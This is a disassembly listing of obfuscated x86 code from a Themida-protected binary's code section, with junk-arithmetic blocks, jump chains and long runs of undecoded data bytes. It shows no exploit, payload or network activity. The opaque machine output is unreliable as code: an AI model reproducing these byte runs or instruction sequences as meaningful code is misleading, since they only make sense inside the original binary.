		dd 148BD301h, 0B538E924h, 0F381FFFFh, 0FA43C94h, 0E95BDF21h
		dd 0FFFF77F1h, 4C481h, 0FDE90000h, 87FFFF4Bh, 5DE9240Ch
		dd 0BAFFFF51h, 351913E6h, 6D78E281h, 0C2816B8Eh, 78DA3D89h
		dd 0FF31D8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1B5D:				; CODE XREF: Themida_:00593E42j
		xor	eax, [esp]
		pop	esp
		jmp	loc_591C0E
; ---------------------------------------------------------------------------


loc_5A1B66:				; CODE XREF: Themida_:00590BEBj
		mov	ebp, [esp]
		jmp	loc_5A2007
; ---------------------------------------------------------------------------
		dw 0B568h
		dd 89000069h, 5E542434h, 4C681h, 0EE830000h, 57CFE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1B86:				; CODE XREF: Themida_:005A14EFj
		xor	[edi+24h], ecx


loc_5A1B89:				; CODE XREF: Themida_:0059D4A2j
		push	eax
		mov	eax, esp
		push	5114h
		mov	[esp], ecx
		mov	ecx, 57A17DF6h
		push	ecx
		not	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 72A2777h
		or	ecx, 0A524CF0h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 27F2025Ah
		and	ecx, edx
		pop	edx
		sub	ecx, 592C7F2Dh
		push	edx
		jmp	loc_59444D
; ---------------------------------------------------------------------------


loc_5A1BCC:				; CODE XREF: Themida_:0059F336j
		shl	eax, cl
		push	esi
		mov	esi, 3B431D8Bh
		push	ebp
		mov	ebp, 697C1851h
		xor	ebp, 2AAA749Bh
		neg	ebp
		and	ebp, 28BF1C71h
		xor	ebp, 53D81770h
		or	esi, ebp
		pop	ebp
		push	esi
		inc	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 41C824ADh
		jmp	loc_599024
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 24248B24h, 0BE243489h, 7C892572h, 0FF5026E9h, 241431FFh
		dd 0FEF987E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1C21:				; CODE XREF: Themida_:005991CCj
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_58F846
; ---------------------------------------------------------------------------
		dd 5D5BD829h, 0D755EC2Dh, 2E292D1Bh, 0F829447Bh, 7B2E2905h
		dd 55EC0544h, 0BB531BD7h, 24654958h, 0F703EBC1h, 8FF381DBh
		dd 43789403h, 0B89C381h, 7BE9EC39h, 81FFFF5Dh, 4C5h, 4ED8300h
		dd 0E9242C87h, 0FFFF9F4Eh, 0D84AE95Dh, 6851FFFEh, 49085CAEh
		dd 8BCA2959h, 4E9240Ch,	89FFFECAh, 90D3E9E1h, 3C33FFFFh
		dd 24248B24h, 52C8BF0Fh, 11CC68h, 48F5400h, 24048324h
		dd 0E7F4E904h, 0E957FFFFh, 0FFFEE46Eh
; ---------------------------------------------------------------------------


loc_5A1CD0:				; CODE XREF: Themida_:005949A2j
		push	edi
		mov	edi, 5DC80715h
		sub	edi, 148EBB7Bh
		dec	edi
		sub	edi, 2444EEE3h
		and	esi, edi
		pop	edi
		jmp	loc_58EF35
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FF17A1E9h, 0C65DE9FFh, 0F381FFFEh, 0DE046444h, 0E95BDF01h
		dd 0FFFEC912h, 0A030B505h, 619B056Ah, 262D0330h, 16D0914h
		dd 142605D8h, 9B2D6D09h, 2D033061h, 6AA030B5h, 74FF505Bh
		dd 0E9580424h, 0F61h, 0C09CB450h, 0B65202E4h, 80C6FE89h
		dd 0EAE9F0F6h
		db 71h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1D43:				; CODE XREF: Themida_:0058E4F0j
		add	ebp, 0DC0229Dh
		sub	ebp, 1957AD8Eh
		add	esi, ebp
		pop	ebp
		mov	edi, [esp]
		push	edx
		push	esp
		pop	edx
		jmp	loc_594616
; ---------------------------------------------------------------------------
		dd offset byte_40B860+8
		align 2
		dw 2C89h
		dd 7DB6824h, 34FF219Fh,	0C4835D24h, 82BB5304h, 0E91FE8E9h
		dd 0FFFF6C04h, 68243C89h, 7E2C026Bh, 0E9243C8Bh, 0FFFEF0ADh
		dd 5059CE30h, 0E4C078B4h, 0E407E907h, 0E883FFFEh, 24048704h
		dd 0FFA05FE9h, 2474FFFFh, 0E086E904h, 0EC81FFFFh, 4, 0FF1145E9h
		dd 49F181FFh, 0F764F464h, 65D368D9h, 12E90000h,	9FFFF3Bh
		dd 0E9581C47h, 0FFFEC57Fh, 4A4CF8BBh, 5BDA8969h, 0AB70EB05h
		dd 2DD02945h, 45AB70EBh, 8124148Bh, 4C4h, 0E2895200h, 4BF57h
		dd 58E90000h, 35FFFEEDh, 10626C5Ah, 58C3895Ah, 0FEC546E9h
		dd 0F12958FFh, 0A864E95Eh, 0E801FFFFh, 52BF575Dh, 560A9C5Ah
		dd 0CB4561BEh, 5EF72103h, 0AE9DFF7h
		db 3Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1E2F:				; CODE XREF: Themida_:0059DC4Ej
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59FEFB
; ---------------------------------------------------------------------------
		db 89h
		dd 14F72434h, 0C6815E24h, 689E397Fh, 6FE9EB81h,	0EB8156B0h
		dd 3AD41F2Fh, 0C381F301h, 3AD41F2Fh, 0FEDC2EE9h, 0C4835AFFh
		dd 0AC98004h, 0F6FFE980h, 80D9F6D1h, 0B05014E1h, 0FFC1300Ah
		dd 81582434h, 4C4h, 4EE95100h, 87FFFFD1h, 7D33E9CBh, 0C981FFFFh
		dd 7C431D5Eh, 274AF181h, 5FE951EBh, 81FFFF1Fh, 4C2h, 0CA72E900h
		dd 15CFFFFh, 0BD5558C6h, 2, 6568C681h, 0EE01012Eh, 6568EE81h
		dd 875D012Eh, 665C2434h, 8324048Fh, 896602ECh, 0F766241Ch
		dd 5B662414h, 0FF9D2BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1EED:				; CODE XREF: Themida_:0059EEC3j
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 5B8D28E8h
		shl	ecx, 8
		xor	ecx, 4E7B2524h
		sub	ecx, 7449BDCAh
		and	ecx, 29E03777h
		xor	ecx, 900074Eh
		mov	edx, ecx
		pop	ecx
		add	edx, edi
		mov	eax, [edx]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5A30DD
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 34895C24h, 355DBE24h, 0D6872C5Ah, 0D687D2F7h, 0FF2BE0E9h
		dd 241489FFh, 0D3288BB2h, 0FFB7C8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1F4D:				; CODE XREF: Themida_:0059BC52j
		sub	ebx, 1
		shl	ebx, 8
		add	ebx, 7B8A14DBh
		jmp	loc_59C182
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 85679A42h, 0FEF29EE9h, 4C281FFh, 83000000h, 148704C2h
		dd 0FC31E924h, 0D8B5FFFEh, 0ED80DDF6h, 9FF2E933h, 0B951FFFFh
		dd 63734E4Bh, 0FBB818BEh, 59CE01BFh, 505EF721h,	295BB951h
		dd 0C88910BCh, 37EF3559h, 0D22D3560h, 251FBE64h, 45828AFh
		dd 0E950D0F7h, 0FFFFCC88h, 2414895Ch, 0C281E289h, 4, 4EC81h
		dd 2C890000h, 54685724h, 5F272B1Fh, 2BC6C781h, 0EFC16151h
		dd 53C78104h, 89F7783Bh, 2421E9FDh, 0D309FFFFh,	388BE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1FF2:				; CODE XREF: Themida_:005979A5j
		and	ecx, ebp
		pop	ebp
		push	5D78h
		mov	[esp], ebp
		mov	ebp, 0FB21D8C2h
		jmp	loc_59539C
; ---------------------------------------------------------------------------


loc_5A2007:				; CODE XREF: Themida_:005A1B69j
		add	esp, 4
		jmp	loc_5947DE
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 4C3h, 8B5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A201E:				; CODE XREF: Themida_:00594C77j
		add	edx, 4
		add	edx, 4
		jmp	loc_5955C9
; ---------------------------------------------------------------------------


loc_5A202F:				; CODE XREF: Themida_:00590AF2j
		mov	[esp], eax
		mov	ah, 0C2h
		push	edx
		mov	dl, ah
		mov	cl, dl
		pop	edx
		pop	eax
		sub	al, cl
		jmp	loc_594516
; ---------------------------------------------------------------------------
word_5A2042	dw 0FF64h		; DATA XREF: Themida_:0058E22Co
		dd 0C309E932h, 2489FFFEh, 24048124h, 4,	0FEC6F2E9h, 34FF5CFFh
		dd 89525824h, 1AD3E9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2066:				; CODE XREF: Themida_:0059AA72j
		mov	bl, 90h
		shr	bl, 3
		xor	bl, 0C2h
		shr	bl, 7
		shr	bl, 6
		jmp	loc_59D7F9
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0C7h
		dd 0DFA225Fh, 2AC6C781h, 0E78168CBh, 0DF94D9Fh,	0D69FC781h
		dd 0FA8913A9h, 5FB9515Fh, 5227E4Ch, 69301A0Ch, 0FF2E96E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A20A5:				; CODE XREF: Themida_:0059D77Dj
		xor	edx, 6FFFA9E0h
		jmp	loc_58F18C
; ---------------------------------------------------------------------------
		dd 5B2434FFh, 0FFBE6EE9h, 3D32BAFFh, 0E95254ECh, 0FFFEECE0h
		dd 35B8C381h, 0BF5727CDh, 3FBE619Ch, 0E95FFB09h, 0FFFF8231h
dword_5A20D8	dd 4EC81ADh, 0E9000000h, 0FFFF041Eh, 4EC8358h, 0E9243489h
					; DATA XREF: Themida_:0058E1D0o
		dd 0FFFF0023h, 48996850h, 14890000h, 0A7B9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A20FE:				; CODE XREF: Themida_:0059E790j
		add	al, 57h
		push	ecx
		jmp	loc_59C9D7
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 1F171C69h, 0F59FEA81h, 0D701AC01h, 6856535Ah, 41415812h
		dd 0F6F6815Eh, 81032719h, 0D1D582C6h, 5EF38916h, 8104EBC1h
		dd 87720CC3h, 0D7F3812Bh, 0E952B4CCh, 0FFFF8CEDh, 5C241C87h
		dd 0FFCDFFE9h, 6BA52FFh, 4A369747h, 1985EA81h, 0D6010D17h
		dd 0FF62F3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A215D:				; CODE XREF: Themida_:0059FAD8j
		add	ebp, 4
		sub	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], bx
		jmp	loc_59D256
; ---------------------------------------------------------------------------
		dw 0D329h
		dd 8324148Bh, 34FF04C4h, 6E95F24h
		db 5Bh,	2 dup(0FFh)
byte_5A2187	db 66h			; DATA XREF: Themida_:0058E0C0o
		dd 6824048Bh, 6E88h, 56240489h,	1570E954h, 5C01FFFFh, 8B5B0424h
		dd 0C481243Ch, 4, 8075E951h, 0F281FFFFh, 0F3EBDEF8h, 0E95AD121h
		dd 0FFFF6EEBh, 5301C680h, 0FFDDD1E9h, 0E5CAB9FFh, 0E98182C4h
		dd 659F596Ah, 2F8E981h,	0E90176C9h, 2F8C181h, 0C18176C9h
		dd 659F596Ah, 0FF1A4BE9h, 13EB81FFh, 29DEF2EEh,	89E95BD9h
		dd 68FFFF66h, 52DAh, 0BB241C89h, 57FFF637h, 70BEE957h
		dd 1C8BFFFFh, 4C48324h,	0E92434FFh, 0FFFF8DBBh
dword_5A2218	dd 24048B66h, 0C9468h, 243C8900h, 5404EC83h, 0FFDB93E9h
					; DATA XREF: Themida_:0058E268o
		dd 0E5D15EFFh, 8102EDC1h, 0B3FFA4C5h, 0E9EB89FFh, 0FFFF27C0h
		dd 4806E0C1h, 5506E0C1h, 282BBE56h, 0DAE918F0h
		db 34h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2253:				; CODE XREF: Themida_:0059B049j
		mov	ecx, 1DDB3106h
		add	dword ptr [esp+8], 1FE86CE9h
		sub	[esp+8], ecx
		jmp	loc_58ECF8
; ---------------------------------------------------------------------------


loc_5A2269:				; CODE XREF: Themida_:00592A38j
		add	eax, ecx
		add	eax, 1AF1184Ch
		jmp	loc_597DE3
; ---------------------------------------------------------------------------
		db 5Eh,	51h, 89h
		dd 4C181E1h, 56000000h,	4BEh, 5EF12900h, 8B240C87h, 34892424h
		dd 2CCABE24h, 20E919FEh, 1FFFF2Fh, 240C8BCAh, 0E904C483h
		dd 0FFFEF2DBh, 0FFD80158h, 815B2434h, 4C4h, 68515200h
		dd 1767419Dh, 0E9505359h, 0FFFF9003h
; ---------------------------------------------------------------------------


loc_5A22C4:				; CODE XREF: Themida_:0059CEF5j
		add	al, 0EBh
		jmp	loc_597643
; ---------------------------------------------------------------------------
		db 81h
		dd 6616FFE6h, 35C68147h, 8932F800h, 0FA015EF7h,	33EA815Fh
		dd 2918F27Ch, 33C281FAh, 8118F27Ch, 0F816D4EAh,	52BBE979h
		dd 148BFFFFh, 4C48124h,	0E9000000h, 0FFFF6696h,	815EF229h
		dd 0BE212FEDh, 81D50171h, 0BE212FC5h, 2434FF71h, 0FF67B0E9h
		dd 4E951FFh, 0BBFFFEDFh, 5173488Fh, 8106EBC1h, 7418FE3h
		dd 0E9D3F776h, 0FFFFEA17h, 0F381DBF7h, 229C3AC7h, 6798BE56h
		dd 0E6C143C8h, 41CE8705h, 0BD55CE87h, 64331076h, 0FFA184E9h
		dd 24148BFFh, 4C481h, 83530000h, 148904ECh, 8866B224h
		dd 9E95AD3h, 89FFFFBAh,	4BE2434h, 1000000h, 22D3E9F7h
		dd 6850FFFFh, 677Ch, 50241C89h,	0FF2357E9h, 32C80DFFh
		dd 24355DB6h, 29A0414Dh, 24048BC5h, 53DE9h, 0BCE28100h
		dd 0C119C825h, 0F28102E2h, 351FC7C1h, 0B69BE56h, 0F5016F03h
		dd 8324348Bh, 0C58104C4h, 2D55248Fh, 0ED81D501h, 2D55248Fh
		dd 0B69ED81h, 0F3E96F03h, 5EFFFED5h, 1C4EEF81h,	0EF014362h
		dd 1C4EC781h, 875D4362h, 90E9243Ch, 5EFFFF03h, 8904EC83h
		dd 6856243Ch, 1966h, 56242C89h,	0F86B4ABEh, 6B4EBD0Ch
		dd 0E7E90CF8h, 28FFFFC6h, 0FF752CF0h, 515A2434h, 91B68h
		dd 0E2895200h, 4C281h, 0EA810000h, 4, 5C241487h, 24048F54h
		dd 0FFAA0BE9h, 8BD029FFh, 0C4832414h, 14EAE904h, 0DFF7FFFFh
		dd 5B4EB951h, 0C1810D28h, 0E2A854C9h, 0FED4B8E9h, 338D68FFh
		dd 5DE90000h, 52FFFFBDh, 0FF70E3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A246D:				; CODE XREF: Themida_:0059B1C3j
		add	ecx, 2A5537A4h
		pop	ebx
		jmp	loc_59521B
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 4
		dd 89000000h, 33E95FFDh, 89FFFFEFh, 4BA52E6h, 1000000h
		dd 0C6815AD6h, 4, 8B243487h, 0C4812424h, 4, 81E68956h
		dd 4C6h, 4EE8100h, 0E9000000h, 0FFFEF3D6h, 4C181h, 0E9830000h
		dd 240C8704h, 242C895Ch, 0E0207BBDh, 8BEE0111h,	0C481242Ch
		dd 4, 0E924148Bh, 0FFFFA57Fh, 0E924048Fh, 0FFFFC3D8h
; ---------------------------------------------------------------------------


loc_5A24E8:				; CODE XREF: Themida_:005997C0j
		push	edx
		jmp	loc_591DE1
; ---------------------------------------------------------------------------


loc_5A24EE:				; CODE XREF: Themida_:005955F2j
		mov	bh, 33h
		mov	dl, bh
		push	dword ptr [esp]
		jmp	loc_5A2EE7
; ---------------------------------------------------------------------------


loc_5A24FA:				; CODE XREF: Themida_:0059F715j
		mov	esp, [esp]
		cmp	cl, al
		pushf
		jmp	loc_58EE1D
; ---------------------------------------------------------------------------
		db 0C1h, 0EDh, 3
		dd 2878CD81h, 0BE5637B2h, 2F657FAFh, 0E95EF509h, 0FFFF4233h
		dd 8B241487h, 0EC832424h, 24348904h, 0FEF294E9h, 0EA8059FFh
		dd 5AD02852h, 0AE04F800h, 0FF3E6EE9h, 20A805FFh, 0E80110E2h
		dd 0E220A82Dh, 6BE95D10h, 3100000Dh, 14332414h,	24248B24h
		dd 24048966h, 0FEBDF2E9h, 0ED815CFFh, 64E3B6D4h, 7AF0C281h
		dd 0EA0164BAh, 0FF140CE9h, 539FBEFFh, 0F129AFE5h, 59C8015Eh
		dd 0E956C801h, 0FFFFB4D6h, 5AD7015Bh, 6C4F68h, 0CB22E900h
		dd 0C483FFFFh, 5C04E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A259E:				; CODE XREF: Themida_:00596900j
		xor	ebp, [esp]
		pop	esp
		jmp	loc_59E7C2
; ---------------------------------------------------------------------------
		db 81h
		dd 0EFB0AAF6h, 8BF001DBh, 27E92434h, 29FFFF56h,	3E872DD0h
		dd 148B0EE2h, 0E3EE924h, 0D828FFFFh, 0E9EAB151h, 0FFFF0400h
; ---------------------------------------------------------------------------


loc_5A25D0:				; CODE XREF: Themida_:00599D08j
		not	dword ptr [esp]
		pop	edi
		jmp	loc_598143
; ---------------------------------------------------------------------------
		db 80h,	0F4h, 0E8h
		dd 8658E508h, 0E9DAF6D5h, 0FFFF2B18h, 0EE81D6F7h, 0FA1E1B8Fh
		dd 0FF7BA9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A25F5:				; CODE XREF: Themida_:00597688j
		sub	al, dl
		sub	al, 15h
		mov	edx, [esp]
		add	esp, 4
		sub	al, bl
		push	edx
		mov	dl, 0BFh
		shr	dl, 8
		sub	dl, 5Ah
		add	al, dl
		pop	edx
		sub	al, 6Ah
		push	ecx
		sub	esp, 4
		jmp	loc_5992E6
; ---------------------------------------------------------------------------
a1YhU		db '1ÈYh',0Bh,'U',0
		align 2
aI4IH8		db '‰4$‰ÆhÉ8',0
		align 10h
		dd 0E9243489h, 0FFFF7F70h, 2660055Fh, 4BE91ACDh, 83FFFF00h
		dd 0F756FFEEh, 555E2414h, 0B511ABDh, 0CFCDE93Eh, 87B3FFFFh
		dd 0E959EB30h, 0FFFF3E62h, 24048966h, 0FEBCEAE9h, 241C87FFh
		dd 0FFB966E9h, 0E9D7F7FFh, 0FFFFEF11h, 8F04C483h, 248B2404h
		dd 0C85BE924h, 6859FFFEh, 63BBh, 89241C89h, 0BB850E3h
		dd 407DB343h, 0FF9E6DE9h, 0E95066FFh, 0FFFF6A93h, 56243C89h
		dd 11779F68h, 5146E95Fh, 1C8BFFFFh, 35BE924h, 0C2810000h
		dd 4, 4EC8156h,	89000000h, 0E589242Ch, 4C581h, 0BAE90000h
		dd 81FFFED3h, 0F3D08C6h, 0AFE95B4Eh, 89FFFFBBh,	825AE9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A26EA:				; CODE XREF: Themida_:0059CC07j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59FEEA
; ---------------------------------------------------------------------------
dword_5A26F8	dd 24048B66h, 4EC81h, 1C890000h, 4EC8124h, 89000000h, 0EC832424h
					; DATA XREF: Themida_:0058E1A8o
		dd 240C8904h, 468h, 4C015900h, 95E90424h, 89FFFED1h, 8BE989DDh
		dd 40E9242Ch, 81FFFFBDh, 4C22F0C1h, 45C18149h, 81581C66h
		dd 1F66D8C5h, 81CD010Ch, 1F66D8EDh, 835E590Ch, 814DFFC5h
		dd 5121F1F5h, 85DBE96Fh, 1489FFFFh, 4EC8324h, 81242489h
		dd 42404h, 148B0000h, 26766824h, 3C890000h, 50E78924h
		dd 0B31AD0B8h, 0E662E93Bh, 0D0F7FFFFh, 5F45B951h, 0C8296423h
		dd 58C60159h, 6D8EBF57h, 0DFF75FE5h, 0C44C781h,	0EF814F61h
		dd 0EF7B9EB2h, 875FFE01h, 555C2434h, 0FF2294E9h, 87D7F7FFh
		dd 0BD5556FDh, 7FA6577Bh, 1C32E950h, 1433FFFFh,	24143124h
		dd 5C241433h, 81E28952h, 4C2h, 4EA8100h, 87000000h, 248B2414h
		dd 240C8924h, 7E95456h,	54FFFED8h, 0EC81525Eh, 4, 0E9241C89h
		dd 0FFFF427Bh
; ---------------------------------------------------------------------------


loc_5A27FC:				; CODE XREF: Themida_:0058FDBFj
		add	edx, edi
		pop	edi
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5949D1
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 0D8h
		dd 2950CB18h, 243C8BF8h, 5004C483h, 8B30428Fh, 0F5E92404h
		dd 81FFFEC3h, 4C4h, 11386800h, 0ADE90000h
		db 0BDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A2837:				; CODE XREF: Themida_:0059C172j
		sub	dword ptr [esp], 6F737378h
		pop	ecx
		add	ecx, 6F737378h
		push	edi
		mov	edi, ecx
		mov	esi, edi
		pop	edi
		pop	ecx
		mov	ebx, [esp]
		jmp	loc_59DE22
; ---------------------------------------------------------------------------


loc_5A2854:				; CODE XREF: Themida_:00593910j
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_59ECCB
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48324h, 0D0F7D0F7h, 32E6BE56h, 24E97F2Bh, 0BEFFFF1Ch
		dd 4C885FE1h, 0A023C681h, 0F001B377h, 0BCE9575Eh, 0F6FFFEBCh
		dd 5AC280DAh, 0E95AD388h, 0FFFFA8F5h, 0A06488BBh, 8C5DBE2Eh
		dd 0C6814ED2h, 2C285B1Ah, 0EE81DE01h, 2C285B1Ah, 1952685Bh
		dd 0C890000h, 868B924h,	0EE8121DCh, 406515A0h, 0C681CE29h
		dd 406515A0h, 0C4C2E959h, 80E9FFFFh, 83FFFEBAh,	1C8704EBh
		dd 4895C24h, 0D868E924h, 0C483FFFEh, 9BC58104h,	9EBFF73h
		dd 34FF1C6Fh, 242C8B24h, 4C481h, 0C4830000h, 753AE904h
		dd 2C8BFFFFh, 0E2895224h, 4C281h, 0C2830000h, 24148704h
		dd 4C5815Ch, 81000000h,	4C5h, 242C8700h, 0E289525Ch, 4C281h
		dd 11E90000h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2933:				; CODE XREF: Themida_:00595653j
		push	ebx
		mov	ebx, 2D5D6518h
		sub	edi, ebx
		jmp	loc_59A562
; ---------------------------------------------------------------------------
		dd 685DE901h, 147Bh, 0BE243489h, 2, 0DB9DE957h,	0C481FFFFh
		dd 4, 8B241C87h, 0AA682424h, 8900002Ah,	0EC83240Ch, 2C01E904h
		dd 15EFFFFh, 81425DEAh,	0A13A97F2h, 0FCCA816Ch,	811E0779h
		dd 3F7BFAF2h, 8BD1015Eh, 54572414h, 4C7815Fh, 81000000h
		dd 4C7h, 243C8700h, 0FF20AEE9h
		db 0FFh
byte_5A29A5	db 66h,	8Bh, 4		; DATA XREF: Themida_:0058E2A4o
		dd 0F091E924h, 0CD68FFFFh, 0E9000024h, 0FFFF8BDAh, 3C8BFE01h
		dd 4C48324h, 0FF17FFE9h, 0BE5655FFh, 22BA5E16h,	0CE81D6F7h
		dd 2E97694Bh, 0EE81DEF7h, 321D2B15h, 0EB02F681h, 0E4E9CE0Ah
		dd 83FFFF9Dh, 6BE904EBh, 8BFFFF7Fh, 3DE92404h, 49FFFFF1h
		dd 7213F181h, 37E94C4Eh, 89FFFF77h, 4BE2434h, 1000000h
		dd 5E042474h, 0FEB93EE9h, 0E95453FFh, 0FFFFC57Fh, 4246C81h
		dd 26E52447h, 0EF77E952h, 0FD87FFFFh, 0FFFFEF81h, 0FD87FFFFh
		dd 4BE3F581h, 0EF011C8Fh, 0E9242C8Bh, 5ABh, 1CBC68h, 241C8900h
		dd 21CEBD55h, 3CE958BDh, 59FFFF6Ah, 0FFBD38E9h,	3AEB81FFh
		dd 5F70346Fh, 88E9C231h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2A6B:				; CODE XREF: Themida_:0059CBC6j
		push	ebp
		push	61E3h
		mov	[esp], eax
		mov	eax, 6DC44FDAh
		mov	ebp, eax
		mov	eax, [esp]
		jmp	loc_596FCF
; ---------------------------------------------------------------------------
		db 9
		dd 0E192E9CBh, 0C0BDFFFFh, 0E904676Ah, 0FFFFD450h
; ---------------------------------------------------------------------------


loc_5A2A94:				; CODE XREF: Themida_:00592887j
		mov	[esp], ecx
		jmp	loc_597BD1
; ---------------------------------------------------------------------------


loc_5A2A9C:				; CODE XREF: Themida_:0059CAD8j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, esp
		push	25E2h
		mov	[esp], ecx
		mov	ecx, 4E590808h
		sub	ecx, 1
		jmp	loc_598670
; ---------------------------------------------------------------------------


loc_5A2ABA:				; CODE XREF: Themida_:005A31CEj
		mov	ebp, 37C0007Ah
		or	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_5908CC
; ---------------------------------------------------------------------------
		db 59h,	8Fh, 4
		dd 4895C24h, 5C30E924h,	0ED81FFFFh, 63077D70h, 0CDFFC581h
		dd 0EE29524Bh, 5EF3295Dh, 5F45C181h, 0D9013A28h, 5F45E981h
		dd 34FF3A28h, 0C4815B24h, 4, 31240C33h,	0D1E9240Ch, 89FFFFAFh
		dd 0ACE9243Ch, 0BEFFFF19h, 4, 4247401h,	0FF81C4E9h, 2C8B54FFh
		dd 0E0895024h, 405h, 4C08300h, 5C240487h, 4146BE56h, 0FFE97E4Ah
		dd 0B8FFFF02h, 57591A19h, 31B72D48h, 0CDE966C9h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2B4F:				; CODE XREF: Themida_:00591627j
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_59FDD2
; ---------------------------------------------------------------------------
		db 5Dh,	56h, 0BEh
		dd 639B1E05h, 4588F681h, 0E6C10126h, 48F68108h,	8131077Fh
		dd 835EA4CEh, 0E868517Dh, 59FDDFFEh, 0E959CE31h, 0FFFED84Eh
		dd 0FEB7CAE9h, 58C529FFh, 8190ED81h, 0E9296F08h, 73A0E95Dh
		dd 5159FFFFh, 4B9h, 4E9EE900h, 0EE01FFFFh, 2395E95Dh, 5066FFFFh
		dd 0E23007B4h, 0FF462FE9h, 0E7005AFFh, 0E9525158h, 0FFFF29A5h
		dd 0FDBA525Fh, 0E962B572h, 0FFFFCB58h, 2172BFBEh, 12B9517Ah
		dd 29735A18h, 0ED4AE9CEh, 0E951FFFFh, 0FFFF23B6h, 295FFA29h
		dd 0BA525AD6h, 13F84780h, 0FF4862E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2BF9:				; CODE XREF: Themida_:00591509j
		push	22E1h
		mov	[esp], edx
		mov	edx, 60292F25h
		jmp	loc_5A0221
; ---------------------------------------------------------------------------
		db 89h
		dd 68240Ch, 0E92BD84Dh,	0FFFECDC5h
; ---------------------------------------------------------------------------


loc_5A2C18:				; CODE XREF: Themida_:00596D71j
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5997EF
; ---------------------------------------------------------------------------
		db 58h
		dd 1EC568h, 240C8900h, 4B9h, 8BCA0100h,	0C481240Ch, 4
		dd 31241433h, 14332414h, 24248B24h, 0FEC49CE9h,	0E38953FFh
		dd 4B850h, 0C3010000h, 4B95158h, 1000000h, 1C8759CBh, 24248B24h
		dd 0FFE139E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2C79:				; CODE XREF: Themida_:005A2D6Aj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_59CA6A
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 6A11E95Ch, 489FFFFh,	0A696824h, 24890000h, 24048324h
		dd 24048B04h, 5604C483h, 5E149BBEh, 0DEF74E3Ah,	11BCE81h
		dd 0C6E94031h, 59FFFEC1h, 5C241C87h, 1EBE9h, 0E9DF2900h
		dd 0FFFEDCC5h, 0BD242C89h, 6326BBh, 0FF3BADE9h,	0B3E95AFFh
		dd 89FFFFFEh, 73E9242Ch
		db 0BDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A2CEF:				; CODE XREF: Themida_:005976D4j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 4
		sub	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_597FED
; ---------------------------------------------------------------------------
		db 31h,	0F9h, 0E9h
		dd 0FFFF268Bh, 46E6D14Eh, 4B42EE81h, 0F68112F4h, 0A66FCBD6h
		dd 0FFC398E9h, 24248BFFh, 0C8BE0F66h, 0FFCFBAE9h, 0E9CD01FFh
		dd 0FFFEFEA3h, 7732E181h, 0D9F70988h, 0D6AE181h, 0D9F76373h
		dd 0D4CC181h, 0ADE96373h
		db 3Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2D67:				; CODE XREF: Themida_:005A0CA9j
		add	ecx, eax
